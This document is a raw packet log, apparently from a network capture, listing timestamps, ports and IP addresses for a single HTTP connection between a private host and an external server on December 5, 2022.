Dec 5, 2022 06:44:36.443552017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443563938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443583012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443600893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443608999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443620920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443631887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443639040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443658113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443666935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443677902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443696976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443705082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443716049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443733931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443739891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443753004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443767071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443772078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443778038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443793058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443811893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443820000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443830967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443850040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443856001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443871021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443891048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443907976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443923950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443927050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443948030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443950891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443964958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.443968058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.443986893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444006920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444010019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444025993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444044113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444061995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444067001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444081068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444091082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444099903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444118023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444125891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444138050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444156885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444174051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444179058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444191933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444201946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444211006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444228888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444238901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444247961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444267035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444276094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444286108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444315910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444315910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444334030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444350958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444360018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444369078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444386005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444396019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444402933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444421053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444428921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444439888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444458008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444468975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444475889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444494009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444498062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444498062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444511890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444529057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444541931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444545984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444566011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444576979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444583893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444602966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444610119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444619894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444636106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444653034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444658041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444670916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444681883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444688082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444706917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.444711924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444825888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.444854021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445297956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445314884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445333004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445354939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445377111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445378065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445399046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445415020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445439100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445457935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445461035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445477009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445493937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445497990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445511103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445527077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445543051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445550919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445560932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445573092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445579052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445595980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445606947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445614100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445631981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445647001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445648909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445667982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445669889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445684910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445700884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445708990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445719004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445735931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445751905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445760012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445770025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445780039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445790052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445804119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445808887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445827007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445843935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445846081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445862055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445878983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445884943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445897102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445914030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445919991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445931911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445950031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445966005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.445976973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.445983887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446001053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446003914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446018934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446028948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446037054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446053028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446068048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446069956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446088076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446098089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446105003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446122885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446136951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446140051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446158886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446168900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446177006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446192980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446208000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446208954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446228027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446238995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446244955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446261883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446275949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446280003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446297884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446305037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446316957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446333885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446350098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446353912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446367979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446378946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446384907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446402073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446410894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446435928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446466923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446476936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446494102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446511984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446528912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446535110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446547985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446557999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446566105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446583986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446593046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446630001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446635962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446650028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446667910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446686029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446703911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446706057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446722031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446728945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446741104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446759939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446763992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446779966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446799040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446816921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446821928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446835995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446844101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446856022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446873903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446881056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446904898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446923971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446940899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446945906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446959972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.446971893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.446981907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447000027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447005033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447019100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447037935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447055101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447057962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447076082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447081089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447094917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447113037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447130919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447138071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447151899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447160959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447170973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447187901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447195053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447206974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447223902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447241068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447244883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447259903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447269917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447278023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447293997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447297096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447315931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447336912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447343111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447361946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447380066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447396994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447401047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447416067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447427034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447437048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447453022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447455883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447475910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447494030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447499990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447513103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447530031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447549105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447551966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447567940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447573900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447587013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447606087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447608948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447624922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447644949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447663069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447668076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447681904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447691917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447701931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447720051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447726965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447738886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447757959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447773933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447778940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447794914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447804928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447813988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447833061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447840929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447853088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447871923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447885990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447890997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447911024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447921991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447928905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447947025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447948933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.447967052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447983980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.447989941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448004007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448021889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448040009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448044062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448059082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448069096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448077917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448096037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448102951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448113918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448143959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448147058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448163033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448179960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448196888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448200941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448215008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448225975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448231936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448249102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448256969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448266983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448283911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448301077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448307037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448318005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448333979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448333979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448353052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448362112 CET	49704	80	192.168.2.3	66.235.200.147
